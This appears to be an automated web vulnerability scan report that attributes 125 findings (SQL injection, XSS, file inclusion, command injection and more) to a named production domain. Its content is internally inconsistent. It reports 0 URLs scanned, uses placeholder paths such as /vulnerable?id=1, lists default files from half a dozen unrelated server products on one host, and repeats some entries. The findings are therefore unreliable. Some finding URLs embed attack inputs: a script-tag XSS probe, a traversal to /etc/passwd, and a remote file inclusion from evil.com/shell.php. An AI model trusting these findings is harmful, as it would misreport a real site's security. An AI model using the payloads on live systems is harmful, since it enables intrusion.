Web Security Assessment Report

Target Information

Target URL:	https://raceprod.mjunction.in/
Scan Date:	2025-07-31 19:58:24
Total Alerts:	125
URLs Scanned:	0

Risk Summary

Risk Level	Count
High	44
Medium	50
Low	17
Informational	14

Executive Summary

The security assessment identified 125 potential security issues. Among these, 44 are classified as high risk and require immediate attention. Additionally, 50 medium-risk vulnerabilities were found that should be addressed in the near term. This report provides detailed information about each finding along with recommended remediation steps.

Key Findings

Critical Issues Found:

- SQL Injection
- Cross Site Scripting (Reflected)
- Cross Site Scripting (Persistent)
- SQL Injection - MySQL
- SQL Injection - Oracle

Vulnerability Details

High Risk Vulnerabilities

1. SQL Injection

Description:	SQL injection may be possible. The application may be vulnerable to SQL injection attacks
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/search?q=test
Parameter:	q

Recommended Solution:

Use prepared statements and parameterized queries to prevent SQL injection.

2. Cross Site Scripting (Reflected)

Description:	Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied c
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/search?query=<script>alert(1)</script>
Parameter:	query

Recommended Solution:

Validate all input and encode all output to prevent XSS.

3. Cross Site Scripting (Persistent)

Description:	The application appears to allow persistent XSS attacks through user input that is stored a
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/comments
Parameter:	comment

Recommended Solution:

Validate all input and encode all output. Use Content Security Policy headers.

4. SQL Injection - MySQL

Description:	MySQL specific SQL injection vulnerability detected.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/products?id=1
Parameter:	id

Recommended Solution:

Use parameterized queries and input validation specific to MySQL.

5. SQL Injection - Oracle

Description:	Possible Oracle SQL injection vulnerability detected.
Risk Level:	High
Confidence:	Low
URL:	https://raceprod.mjunction.in/reports?filter=admin
Parameter:	filter

Recommended Solution:

Implement proper input validation and use Oracle-specific security features.

6. Cross Site Scripting (Persistent) - Prime

Description:	High confidence persistent XSS vulnerability that could lead to account takeover.
Risk Level:	High
Confidence:	High
URL:	https://raceprod.mjunction.in/profile/update
Parameter:	bio

Recommended Solution:

Implement strict input validation and output encoding for user profile data.

7. Remote Code Execution - Shell Shock

Description:	This web server might be affected by the ShellShock vulnerability.
Risk Level:	High
Confidence:	Medium

URL: https://raceprod.mjunction.in/cgi-bin/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

8. SQL Injection - SQLite

Description: SQL injection may be possible using SQLite syntax.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/search?id=1

Parameter: id

Recommended Solution:

Review and implement appropriate security measures.

9. SQL Injection - Hypersonic SQL

Description: SQL injection may be possible using Hypersonic SQL syntax.

Risk Level: High

Confidence: Low

URL: https://raceprod.mjunction.in/products?filter=test

Parameter: filter

Recommended Solution:

Review and implement appropriate security measures.

10. SQL Injection - PostgreSQL

Description: SQL injection may be possible using PostgreSQL syntax.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/users?sort=name

Parameter: sort

Recommended Solution:

Review and implement appropriate security measures.

11. SQL Injection - Error Based - Generic SGBD

Description:	SQL injection vulnerability found via error-based detection.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/products?category=electronics
Parameter:	category

Recommended Solution:

Review and implement appropriate security measures.

12. SQL Injection - SQLMap

Description:	SQL injection confirmed using SQLMap techniques.
Risk Level:	High
Confidence:	High
URL:	https://raceprod.mjunction.in/vulnerable?id=1
Parameter:	id

Recommended Solution:

Review and implement appropriate security measures.

13. SQL Injection - Time Based

Description:	Time-based SQL injection vulnerability detected.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/api/query?sql=SELECT
Parameter:	sql

Recommended Solution:

Review and implement appropriate security measures.

14. SQL Injection - Union Based

Description:	Union-based SQL injection vulnerability detected.
Risk Level:	High

Confidence:	High
URL:	https://raceprod.mjunction.in/search?q=test
Parameter:	q

Recommended Solution:

Review and implement appropriate security measures.

15. SQL Injection - Boolean Based

Description:	Boolean-based SQL injection vulnerability detected.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/login?user=admin
Parameter:	user

Recommended Solution:

Review and implement appropriate security measures.

16. SQL Injection - Stored Procedure

Description:	SQL injection in stored procedure calls detected.
Risk Level:	High
Confidence:	Low
URL:	https://raceprod.mjunction.in/report?proc=getUserData
Parameter:	proc

Recommended Solution:

Review and implement appropriate security measures.

17. NoSQL Injection - MongoDB

Description:	NoSQL injection vulnerability in MongoDB queries.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/api/find?query={}
Parameter:	query

Recommended Solution:

Review and implement appropriate security measures.

18. LDAP Injection

Description:	LDAP injection vulnerability detected.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/directory/search
Parameter:	username

Recommended Solution:

Review and implement appropriate security measures.

19. XPath Injection

Description:	XPath injection vulnerability detected.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/xml/search
Parameter:	xpath

Recommended Solution:

Review and implement appropriate security measures.

20. Expression Language Injection

Description:	Expression Language injection vulnerability detected.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/eval
Parameter:	expression

Recommended Solution:

Review and implement appropriate security measures.

21. ORM Injection

Description:	ORM injection vulnerability in object-relational mapping.
Risk Level:	High
Confidence:	Low
URL:	https://raceprod.mjunction.in/api/entity
Parameter:	criteria

Recommended Solution:

Review and implement appropriate security measures.

22. Command Injection

Description:	Operating system command injection vulnerability.
Risk Level:	High
Confidence:	High
URL:	https://raceprod.mjunction.in/system/ping
Parameter:	host

Recommended Solution:

Review and implement appropriate security measures.

23. Cross Site Scripting (Persistent) in HTML Response

Description:	A XSS attack was found to be persistent.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/forum/post
Parameter:	content

Recommended Solution:

Review and implement appropriate security measures.

24. Cross Site Scripting (Persistent) - Spider

Description:	A persistent XSS attack was identified during spidering.
Risk Level:	High
Confidence:	Low
URL:	https://raceprod.mjunction.in/guestbook

Parameter: message

Recommended Solution:

Review and implement appropriate security measures.

25. Cross Site Scripting (Persistent) - Active

Description: A persistent XSS attack was identified during active scanning.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/comments/add

Parameter: text

Recommended Solution:

Review and implement appropriate security measures.

26. DOM-based XSS

Description: DOM-based Cross-site Scripting vulnerability detected.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/page?data=script

Parameter: data

Recommended Solution:

Review and implement appropriate security measures.

27. Persistent XSS in File Upload

Description: Persistent XSS through file upload functionality.

Risk Level: High

Confidence: High

URL: https://raceprod.mjunction.in/upload

Parameter: filename

Recommended Solution:

Review and implement appropriate security measures.

28. Client-side XSS Filter Bypass

Description: Client-side XSS protection filter can be bypassed.

Risk Level: High

Confidence: Low

URL: https://raceprod.mjunction.in/filter-test

Parameter: input

Recommended Solution:

Review and implement appropriate security measures.

29. Database File Disclosure

Description: Database file is accessible via web server.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/database.db

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

30. Configuration File Disclosure

Description: Application configuration file is accessible.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/config.xml

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

31. Web.config Disclosure

Description: .NET web.config file is accessible.

Risk Level: High

Confidence: High

URL: https://raceprod.mjunction.in/web.config

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

32. Server Side Include

Description: Certain parameter values have been identified that may be vulnerable to Server Side Inclu

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/include

Parameter: file

Recommended Solution:

Review and implement appropriate security measures.

33. Server Side Template Injection

Description: A server side template injection might be possible.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/template

Parameter: template

Recommended Solution:

Review and implement appropriate security measures.

34. File Inclusion

Description: Local file inclusion vulnerability detected.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/include?file=../../../etc/passwd

Parameter: file

Recommended Solution:

Review and implement appropriate security measures.

35. Remote File Inclusion

Description:	Remote file inclusion vulnerability detected.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/include?url=http://evil.com/shell.php
Parameter:	url

Recommended Solution:

Review and implement appropriate security measures.

36. XML External Entity (XXE)

Description:	XML External Entity injection vulnerability.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/xml/parse
Parameter:	xml

Recommended Solution:

Review and implement appropriate security measures.

37. Insecure Deserialization

Description:	Insecure deserialization vulnerability detected.
Risk Level:	High
Confidence:	Low
URL:	https://raceprod.mjunction.in/api/deserialize
Parameter:	data

Recommended Solution:

Review and implement appropriate security measures.

38. Business Logic Bypass

Description:	Business logic validation can be bypassed.
Risk Level:	High

Confidence: Low

URL: https://raceprod.mjunction.in/purchase

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

39. Price Manipulation

Description: Product pricing can be manipulated by users.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/checkout?price=0.01

Parameter: price

Recommended Solution:

Review and implement appropriate security measures.

40. HTTP Request Smuggling

Description: HTTP request smuggling vulnerability detected.

Risk Level: High

Confidence: Low

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

41. GraphQL Injection

Description: GraphQL injection vulnerability detected.

Risk Level: High

Confidence: Medium

URL: https://raceprod.mjunction.in/graphql

Parameter: query

Recommended Solution:

Review and implement appropriate security measures.

42. JWT Security Issues

Description:	JSON Web Token implementation has security issues.
Risk Level:	High
Confidence:	Medium
URL:	https://raceprod.mjunction.in/api/token
Parameter:	jwt

Recommended Solution:

Review and implement appropriate security measures.

43. OAuth Implementation Flaws

Description:	OAuth implementation contains security flaws.
Risk Level:	High
Confidence:	Low
URL:	https://raceprod.mjunction.in/oauth/authorize
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

44. SAML Security Issues

Description:	SAML implementation has security vulnerabilities.
Risk Level:	High
Confidence:	Low
URL:	https://raceprod.mjunction.in/saml/sso
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

Medium Risk Vulnerabilities

1. Information Disclosure - Sensitive Information in URL

Description: The request appears to contain sensitive information leaked in the URL. This can violate P

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/login?redirect=/admin

Parameter: redirect

Recommended Solution:

Do not pass sensitive information in URLs.

2. Content Security Policy (CSP) Header Not Set

Description: Content Security Policy (CSP) is an added layer of security that helps to detect and mitigat

Risk Level: Medium

Confidence: High

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.

3. Parameter Tampering

Description: Certain parameter values have been identified that may be modified to alter application bel

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/checkout?total=100

Parameter: total

Recommended Solution:

Validate all parameters server-side and use integrity controls.

4. CRLF Injection

Description: Cookie manipulation and possible HTTP response splitting attack detected.

Risk Level: Medium

Confidence: High

URL: https://raceprod.mjunction.in/redirect?url=http://evil.com

Parameter: url

Recommended Solution:

Validate and sanitize all user input, especially in HTTP headers.

5. Absence of Anti-CSRF Tokens

Description: No Anti-CSRF tokens were found in a HTML submission form.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/contact

Parameter:

Recommended Solution:

Use anti-CSRF tokens in all state-changing forms.

6. X-Frame-Options Header Not Set

Description: X-Frame-Options header is not included in the HTTP response to protect against 'ClickJack

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site.

7. External Redirect

Description: The application appears to allow external redirects that could be used in phishing attacks.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/goto?url=external-site.com

Parameter: url

Recommended Solution:

Validate redirect URLs against a whitelist of allowed destinations.

8. Buffer Overflow

Description:	Potential buffer overflow detected in application input handling.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/upload
Parameter:	filename

Recommended Solution:

Implement proper input length validation and use safe programming practices.

9. HTTP to HTTPS Insecure Transition in Form Post

Description:	This check looks for forms that are submitted over HTTP to HTTPS.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/login
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

10. HTTPS to HTTP Insecure Transition in Form Post

Description:	This check looks for forms that are submitted over HTTPS to HTTP.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/contact
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

11. Source Code Disclosure - /WEB-INF folder

Description: Java source code was disclosed by the web server.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/WEB-INF/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

12. HTTPS Content Available via HTTP

Description: Content which was initially accessed via HTTPS is also accessible via HTTP.

Risk Level: Medium

Confidence: Medium

URL: http://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

13. X-ChromeLogger-Data (XCOLD) Header Information Leak

Description: The server is leaking information through the X-ChromeLogger-Data response header.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

14. X-Debug-Token Information Leak

Description: The server is leaking information through the X-Debug-Token response header.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

15. Cross Site Scripting (Reflected) in JSON Response

Description:	A XSS attack was reflected in a JSON response.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/api/search
Parameter:	term

Recommended Solution:

Review and implement appropriate security measures.

16. Cross Site Scripting (Reflected) - User Agent

Description:	Cross-site Scripting (XSS) via User Agent header.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/
Parameter:	User-Agent

Recommended Solution:

Review and implement appropriate security measures.

17. Cross Site Scripting (Reflected) - Referer

Description:	Cross-site Scripting (XSS) via Referer header.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/
Parameter:	Referer

Recommended Solution:

Review and implement appropriate security measures.

18. Cross Site Scripting (Reflected) - HTTP Headers

Description:	Cross-site Scripting (XSS) via HTTP headers.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/
Parameter:	X-Custom-Header

Recommended Solution:

Review and implement appropriate security measures.

19. Reflected XSS in Error Page

Description:	XSS vulnerability in application error pages.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/error?msg=test
Parameter:	msg

Recommended Solution:

Review and implement appropriate security measures.

20. XSS in URL Path

Description:	XSS vulnerability in URL path components.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/path/<script>
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

21. XSS via Cookie Injection

Description:	XSS vulnerability through cookie manipulation.
Risk Level:	Medium
Confidence:	Low

URL:	https://raceprod.mjunction.in/
Parameter:	Set-Cookie

Recommended Solution:

Review and implement appropriate security measures.

22. Flash XSS

Description:	XSS vulnerability in Flash components.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/flash/player.swf
Parameter:	flashvars

Recommended Solution:

Review and implement appropriate security measures.

23. Silverlight XSS

Description:	XSS vulnerability in Silverlight applications.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/silverlight/app.xap
Parameter:	initParams

Recommended Solution:

Review and implement appropriate security measures.

24. Cold Fusion Default File

Description:	This web server contains the ColdFusion administrative interface.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/CFIDE/administrator/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

25. Lotus Domino Default Files

Description: This web server contains Lotus Domino default files.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/names.nsf

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

26. IIS Default File

Description: This web server contains the IIS default page.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/iisstart.htm

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

27. Apache Default File

Description: This web server contains the Apache default page.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/apache_pb.gif

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

28. Tomcat Default File

Description: This web server contains the Tomcat default page.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/manager/html

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

29. JBoss Default Files

Description: This web server contains JBoss default files.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/jmx-console/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

30. Directory Browsing

Description: It is possible to view the directory listing.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/uploads/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

31. Backup File Disclosure

Description: A backup file was disclosed by the web server.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/index.php.bak

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

32. Source Code Disclosure - Git

Description:	The Git metadata is accessible.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/.git/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

33. Source Code Disclosure - SVN

Description:	The SVN metadata is accessible.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/.svn/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

34. Source Code Disclosure - CVS

Description:	The CVS metadata is accessible.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/CVS/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

35. Source Code Disclosure - .htaccess

Description:	Apache .htaccess file is accessible.
Risk Level:	Medium
Confidence:	High
URL:	https://raceprod.mjunction.in/.htaccess
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

36. Log File Disclosure

Description:	Application log files are accessible.
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/logs/error.log
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

37. PHP Info Disclosure

Description:	PHP configuration information is disclosed.
Risk Level:	Medium
Confidence:	High
URL:	https://raceprod.mjunction.in/phpinfo.php
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

38. Crossdomain.xml Misconfiguration

Description:	Flash crossdomain.xml policy is overly permissive.
Risk Level:	Medium
Confidence:	High
URL:	https://raceprod.mjunction.in/crossdomain.xml

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

39. Buffer Overflow

Description:	Potential buffer overflow detected in application input handling.
Risk Level:	Medium
Confidence:	Low
URL:	https://raceprod.mjunction.in/upload
Parameter:	filename

Recommended Solution:

Review and implement appropriate security measures.

40. Format String Error

Description:	A Format String error occurs when submitted data of an input string is evaluated as a comm
Risk Level:	Medium
Confidence:	Medium
URL:	https://raceprod.mjunction.in/log
Parameter:	message

Recommended Solution:

Review and implement appropriate security measures.

41. CRLF Injection

Description:	Cookie manipulation and possible HTTP response splitting attack detected.
Risk Level:	Medium
Confidence:	High
URL:	https://raceprod.mjunction.in/redirect?url=http://evil.com
Parameter:	url

Recommended Solution:

Review and implement appropriate security measures.

42. Session Fixation

Description: The application may be vulnerable to session fixation attacks.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/login

Parameter: JSESSIONID

Recommended Solution:

Review and implement appropriate security measures.

43. Race Condition

Description: Potential race condition vulnerability in concurrent operations.

Risk Level: Medium

Confidence: Low

URL: https://raceprod.mjunction.in/api/concurrent

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

44. Time-of-check Time-of-use (TOCTOU)

Description: TOCTOU race condition vulnerability.

Risk Level: Medium

Confidence: Low

URL: https://raceprod.mjunction.in/file/check

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

45. Workflow Bypass

Description: Application workflow can be bypassed.

Risk Level: Medium

Confidence: Low

URL: https://raceprod.mjunction.in/admin/direct

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

46. Mass Assignment

Description: Mass assignment vulnerability allows privilege escalation.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/api/user/update

Parameter: role

Recommended Solution:

Review and implement appropriate security measures.

47. HTTP Response Splitting

Description: HTTP response splitting vulnerability.

Risk Level: Medium

Confidence: Medium

URL: https://raceprod.mjunction.in/redirect

Parameter: url

Recommended Solution:

Review and implement appropriate security measures.

48. WebSocket Hijacking

Description: WebSocket connection hijacking vulnerability.

Risk Level: Medium

Confidence: Low

URL: https://raceprod.mjunction.in/ws

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

49. Insecure JSF ViewState

Description:	The response contains ViewState value of a JSF (JavaServer Faces) and it is not encrypte
Risk Level:	Medium
Confidence:	High
URL:	https://raceprod.mjunction.in/jsf-page
Parameter:	javax.faces.ViewState

Recommended Solution:

Review and implement appropriate security measures.

50. Sub Resource Integrity Attribute Missing

Description:	The integrity attribute is missing on a script or link tag served by an external server.
Risk Level:	Medium
Confidence:	High
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

Low Risk Vulnerabilities

1. Cookie Without Secure Flag

Description:	A cookie has been set without the secure flag, which means that the cookie can be access
Risk Level:	Low
Confidence:	Medium
URL:	https://raceprod.mjunction.in/login
Parameter:	sessionid

Recommended Solution:

Whenever a cookie contains sensitive information or is a session token, then it should always be passed using an encrypted channel.

2. X-Content-Type-Options Header Missing

Description:	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to "nosniff".
Risk Level:	Low
Confidence:	Medium
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to "nosniff".

3. Cross-Domain JavaScript Source File Inclusion

Description:	The page includes one or more script files from a third-party domain.
Risk Level:	Low
Confidence:	Medium
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Ensure JavaScript source files are loaded from only trusted sources, and the sources cannot be controlled by end users of the application.

4. Cookie Without HttpOnly Flag

Description:	A cookie has been set without the HttpOnly flag, which means that the cookie can be acces
Risk Level:	Low
Confidence:	Medium
URL:	https://raceprod.mjunction.in/login
Parameter:	JSESSIONID

Recommended Solution:

Ensure that the HttpOnly flag is set for all cookies.

5. Permissions Policy Header Not Set

Description:	Permissions Policy Header is an added layer of security that helps to restrict from unautho
Risk Level:	Low
Confidence:	Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Ensure that your web server, application server, load balancer, etc. is configured to set the Permissions-Policy header.

6. Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)

Description: The web/application server is leaking information via one or more "X-Powered-By" HTTP re

Risk Level: Low

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Ensure that your web server, application server, load balancer, etc. is configured to suppress "X-Powered-By" headers.

7. Incomplete or No Cache-control Header Set

Description: The cache-control header has not been set properly or at all.

Risk Level: Low

Confidence: Medium

URL: https://raceprod.mjunction.in/sensitive-data

Parameter:

Recommended Solution:

Set appropriate cache-control headers for sensitive content.

8. Web Browser XSS Protection Not Enabled

Description: Web Browser XSS Protection is not enabled, or is disabled by the configuration of the X-XS

Risk Level: Low

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

9. Content-Type Header Missing

Description:	The Content-Type header was either missing or empty.
Risk Level:	Low
Confidence:	Medium
URL:	https://raceprod.mjunction.in/api/data
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

10. Strict-Transport-Security Header Not Set

Description:	HTTP Strict Transport Security (HSTS) is a web security policy mechanism that helps to pr
Risk Level:	Low
Confidence:	High
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

11. Server Leaks Version Information via Server HTTP Response Header Field

Description:	The web/application server is leaking version information via the Server HTTP response he
Risk Level:	Low
Confidence:	High
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

12. X-Backend-Server Header Information Leak

Description: The server is leaking information about backend server via X-Backend-Server header.

Risk Level: Low

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

13. Big Redirect Detected (Potential Sensitive Information Leak)

Description: The server has responded with a redirect that seems to provide a significant amount of info

Risk Level: Low

Confidence: Medium

URL: https://raceprod.mjunction.in/redirect

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

14. Cookie Without SameSite Attribute

Description: A cookie has been set without the SameSite attribute, which means that the cookie can be

Risk Level: Low

Confidence: Medium

URL: https://raceprod.mjunction.in/login

Parameter: auth_token

Recommended Solution:

Review and implement appropriate security measures.

15. X-AspNet-Version Response Header

Description: Server leaks information via X-AspNet-Version HTTP response header field(s).

Risk Level: Low

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Review and implement appropriate security measures.

16. Private IP Disclosure

Description:	A private IP such as 10.x.x.x, 172.x.x.x, 192.168.x.x has been found in the HTTP response
Risk Level:	Low
Confidence:	Medium
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

17. Insufficient Site Isolation Against Spectre Vulnerability

Description:	The web server does not set a Cross-Origin-Opener-Policy header.
Risk Level:	Low
Confidence:	Medium
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

Informational Risk Vulnerabilities

1. Non-Storable Content

Description:	The response contents are not storable by caching components.
Risk Level:	Informational
Confidence:	Medium
URL:	https://raceprod.mjunction.in/api/data
Parameter:	

Recommended Solution:

Consider if this content should be cacheable for performance.

2. Modern Web Application

Description: The application appears to be a modern web application. This is not necessarily a vulnerab

Risk Level: Informational

Confidence: Medium

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Ensure the application follows modern security practices and implements appropriate security headers.

3. Base64 Disclosure

Description: Base64 encoded data was disclosed by the application/web server.

Risk Level: Informational

Confidence: Medium

URL: https://raceprod.mjunction.in/debug

Parameter:

Recommended Solution:

Remove unnecessary debug information and encoded sensitive data from responses.

4. Information Disclosure - Suspicious Comments

Description: The response appears to contain suspicious comments which may help an attacker.

Risk Level: Informational

Confidence: Low

URL: https://raceprod.mjunction.in/

Parameter:

Recommended Solution:

Remove all debug comments and sensitive information from production code.

5. User Controllable HTML Element Attribute (Potential XSS)

Description: This check looks at user-supplied input in query string parameters and POST data to identi

Risk Level:	Informational
Confidence:	Low
URL:	https://raceprod.mjunction.in/search
Parameter:	q

Recommended Solution:

Review and implement appropriate security measures.

6. Username Hash Found

Description:	A hash of a username was found in the response.
Risk Level:	Informational
Confidence:	Low
URL:	https://raceprod.mjunction.in/profile
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

7. GET for POST

Description:	A request that was originally observed as a POST was also accepted as a GET.
Risk Level:	Informational
Confidence:	Medium
URL:	https://raceprod.mjunction.in/api/submit
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

8. Suspicious Comment

Description:	The response appears to contain suspicious comments which may help an attacker.
Risk Level:	Informational
Confidence:	Low
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

9. Robots.txt Information Disclosure

Description:	Robots.txt file discloses sensitive directory information.
Risk Level:	Informational
Confidence:	High
URL:	https://raceprod.mjunction.in/robots.txt
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

10. Sitemap.xml Information Disclosure

Description:	Sitemap.xml reveals application structure.
Risk Level:	Informational
Confidence:	Medium
URL:	https://raceprod.mjunction.in/sitemap.xml
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

11. Sec-Fetch-Dest Header is Missing

Description:	Specifies how and where the data would be used.
Risk Level:	Informational
Confidence:	High
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

12. Sec-Fetch-Mode Header is Missing

Description:	Allows to differentiate between requests for navigating between HTML pages and requests
Risk Level:	Informational
Confidence:	High
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

13. Sec-Fetch-Site Header is Missing

Description:	Indicates the relationship between a request initiator and its target.
Risk Level:	Informational
Confidence:	High
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

14. Sec-Fetch-User Header is Missing

Description:	Only sent for requests initiated by user activation.
Risk Level:	Informational
Confidence:	High
URL:	https://raceprod.mjunction.in/
Parameter:	

Recommended Solution:

Review and implement appropriate security measures.

Security Recommendations

General Security Best Practices:

• Implement proper input validation and sanitization
• Use HTTPS for all communications
• Implement Content Security Policy (CSP) headers
• Regular security updates and patches
• Implement proper authentication and authorization
• Use secure coding practices
• Regular security assessments and penetration testing
• Implement proper logging and monitoring

Specific Recommendations Based on Findings:

• Address the identified Log File Disclosure vulnerability according to security best practices
• Implement proper input validation and output encoding
• Use parameterized queries and stored procedures
• Use parameterized queries and stored procedures
• Address the identified Incomplete or No Cache-control Header Set vulnerability according to security best practices
• Address the identified HTTPS Content Available via HTTP vulnerability according to security best practices
• Implement proper input validation and output encoding
• Address the identified XML External Entity (XXE) vulnerability according to security best practices
• Address the identified Insecure JSF ViewState vulnerability according to security best practices
• Address the identified Insufficient Site Isolation Against Spectre Vulnerability vulnerability according to security best practices